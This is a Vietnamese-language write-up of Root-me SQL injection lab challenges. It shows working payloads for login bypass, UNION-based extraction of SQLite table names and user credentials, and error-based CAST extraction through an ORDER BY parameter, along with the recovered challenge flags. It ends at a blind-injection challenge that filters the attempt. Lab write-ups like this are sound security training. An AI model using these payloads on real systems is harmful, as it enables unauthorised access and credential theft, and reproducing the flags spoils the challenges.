**Write-up Root-me Challenge - SQL Injection** # SQL Injection - Authentication http://challenge01.root-me.org/web-serveur/ch9/ Inject vào password: Login: admin Password: hi' or 1=1-- ![Screenshot (22).png](https://hackmd.io/_uploads/HJIsv4rQa.png) ![Screenshot (21).png](https://hackmd.io/_uploads/S1V2P4BXa.png) Thay đổi Login thành "admin'--". Password: "hi' or 1=1--" ![Screenshot (24).png](https://hackmd.io/_uploads/SklHKESXp.png) Inspect ![Screenshot (25).png](https://hackmd.io/_uploads/Sy_LKNHm6.png) Flag: t0_W34k!$ # SQL Injection - String http://challenge01.root-me.org/web-serveur/ch19/ Truy cập Login, inject vào password: Login: admin Password: hi' or 1=1-- ![Screenshot (26).png](https://hackmd.io/_uploads/SJnPxSHQa.png) Không thể thực hiện inject. Truy cập Search, nhập "hi' or 1=1--" => chercher ![Screenshot (27).png](https://hackmd.io/_uploads/Bys-zBSXa.png) Inject thành công. Thực hiện Union-based SQLi, thử với payload "hi' or id='1' union select 1", thì nhận về lỗi sau: ![Screenshot (29).png](https://hackmd.io/_uploads/rkklBrB7T.png) Server sử dụng SQLite3, cần sử dụng cú pháp của SQLite3 để tìm ra các table trong database. Nhưng trước tiên, cần phải thực hiện dò số cột. Thay payload thành "hi' or id='1' union select 1,1--" thì có vẻ đã tìm được số cột là 2: ![Screenshot (30).png](https://hackmd.io/_uploads/H1vsPBHm6.png) Vì server dùng SQLite3, do vậy cần phải truy vấn các table bằng cách tìm trong sqlite_master hoặc sqlite_schema. Thử truy vấn với payload "hi' or id='1' union select 1, name from sqlite_master--" ![Screenshot (31).png](https://hackmd.io/_uploads/S1SWYSSm6.png) Blind vào table users "hi' or id='1' union select 1,1 from users--" ![Screenshot (32).png](https://hackmd.io/_uploads/SktctHB7T.png) Truy vấn tìm username và password với payload "hi' or id='1' union select username,password from users--" - Tìm được flag. ![Screenshot (33).png](https://hackmd.io/_uploads/S1FHcBB7T.png) Flag: c4K04dtIaJsuWdi # SQL Injection - Numeric http://challenge01.root-me.org/web-serveur/ch18/ Truy cập Login, inject vào password: Login: admin Password: hi' or 1=1-- ![Screenshot (34).png](https://hackmd.io/_uploads/SJOLsrSmp.png) Không thể thực hiện inject. Kiểm tra các thẻ khác trong Home có thể thấy 3 link này đều dẫn đến action=news&news_id=[x]. Thử xóa id của news thì phát hiện database bị lỗi: ![Screenshot (35).png](https://hackmd.io/_uploads/rk1-6BSXp.png) Server dùng SQLite3, do vậy cần phải truy vấn các table bằng cách tìm trong sqlite_master hoặc sqlite_schema. Thử truy vấn với payload http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201 ![Screenshot (36).png](https://hackmd.io/_uploads/SkudCBS7T.png) http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,1 ![Screenshot (37).png](https://hackmd.io/_uploads/B1JjCSBm6.png) http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,1,1 ![Screenshot (38).png](https://hackmd.io/_uploads/r1Np0HBX6.png) Như vậy số cột của bảng là 3. Để tìm tên của bảng, truy vấn với payload http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,1,%20name%20from%20sqlite_master-- ![Screenshot (39).png](https://hackmd.io/_uploads/BkZJl8r7p.png) Truy vấn tìm username và password với payload http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,username,password%20from%20users-- Tìm ra flag. ![Screenshot (40).png](https://hackmd.io/_uploads/ry0z-LH76.png) Flag: aTlkJYLjcbLmue3 # SQL Injection - Error http://challenge01.root-me.org/web-serveur/ch34/ Inject vào password: Login: admin Password: hi' or 1=1-- ![Screenshot (45).png](https://hackmd.io/_uploads/S195H18X6.png) Không thể thực hiện inject. Truy cập Contents, thử payload http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC1 Web trả về lỗi: ![Screenshot (46).png](https://hackmd.io/_uploads/BkX_8J8Qp.png) Thử các payload dựa vào “ORDER BY”: http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+1 ![Screenshot (47).png](https://hackmd.io/_uploads/BJ-eDkIQ6.png) http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+2 ![Screenshot (48).png](https://hackmd.io/_uploads/B1F4PkIm6.png) http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+3 ![Screenshot (49).png](https://hackmd.io/_uploads/SygwvkU7a.png) http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+ab ![Screenshot (50).png](https://hackmd.io/_uploads/HkraFkUQ6.png) Với position==3 hoặc VARCHAR/CHAR type thì database hiện lỗi. Như vậy, ta cần phải biết 3 position của database này cũng như dựa vào type varibles để attack. Dựa vào cheatsheet của MySQL, ta có thể sử dụng CAST … AS [type] để khiến database hiện lỗi khi postion không thể là VARCHAR/CHAR. Mở burpsuite và thử payload: `GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+table_name+FROM+information_schema.tables+LIMIT+1)+AS+FLOAT) HTTP/1.1` ![Screenshot (51).png](https://hackmd.io/_uploads/ryeiq1Im6.png) Table name: m3mbr35t4bl3 Thử payload: `GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+column_name+FROM+information_schema.columns+LIMIT+1)+AS+FLOAT) HTTP/1.1` ![Screenshot (52).png](https://hackmd.io/_uploads/H1KEkg8mp.png) Column name (first column): id Đến đây, cần sử dụng OFFSET để có thể filter vào đúng postion cần LIMIT để hiển thị các column còn lại, thử payload: `GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+column_name+FROM+information_schema.columns+LIMIT+1+OFFSET+1)+AS+FLOAT) HTTP/1.1` ![Screenshot (53).png](https://hackmd.io/_uploads/SJlZxxUmT.png) Username column: us3rn4m3_c0l `GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+column_name+FROM+information_schema.columns+LIMIT+1+OFFSET+2)+AS+FLOAT) HTTP/1.1` ![Screenshot (54).png](https://hackmd.io/_uploads/Hy42lxUQ6.png) Password column: p455w0rd_c0l Payload: `GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+us3rn4m3_c0l+FROM+m3mbr35t4bl3+LIMIT+1)+AS+FLOAT) HTTP/1.1` ![Screenshot (55).png](https://hackmd.io/_uploads/SJcAbxUXa.png) Payload: `GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+p455w0rd_c0l+FROM+m3mbr35t4bl3+LIMIT+1)+AS+FLOAT) HTTP/1.1` ![Screenshot (56).png](https://hackmd.io/_uploads/SkuZGlU76.png) Flag: 1a2BdKT5DIx3qxQN3UaC # SQL Injection - Blind http://challenge01.root-me.org/web-serveur/ch10/ Inject vào password: Login: admin Password: hi' or 1=1-- ![Screenshot (41).png](https://hackmd.io/_uploads/HJOFSUSm6.png) Inspect hiện ra kết quả của user1, thay đổi username của admin thành "admin'--", ta được kết quả: ![Screenshot (42).png](https://hackmd.io/_uploads/SJRxLLBXa.png) Chưa có thông tin về password. Mở Burp Suite => Proxy => Intercept => Open browser, truy cập vào liên kết để tìm flag => Bật Intercept => connect Sau khi lấy được Request, gửi Request đến Repeater => Send để xem Respond. ![Screenshot (43).png](https://hackmd.io/_uploads/rkliwUHm6.png) Thay đổi: ``` username= admin'--+- &password= admin' union select password from users where username=admin'--+- ``` ![Screenshot (44).png](https://hackmd.io/_uploads/SyrJs8rQT.png) Web đã sử dụng các keyword chống SQL Injection với thông báo “Injection detected”.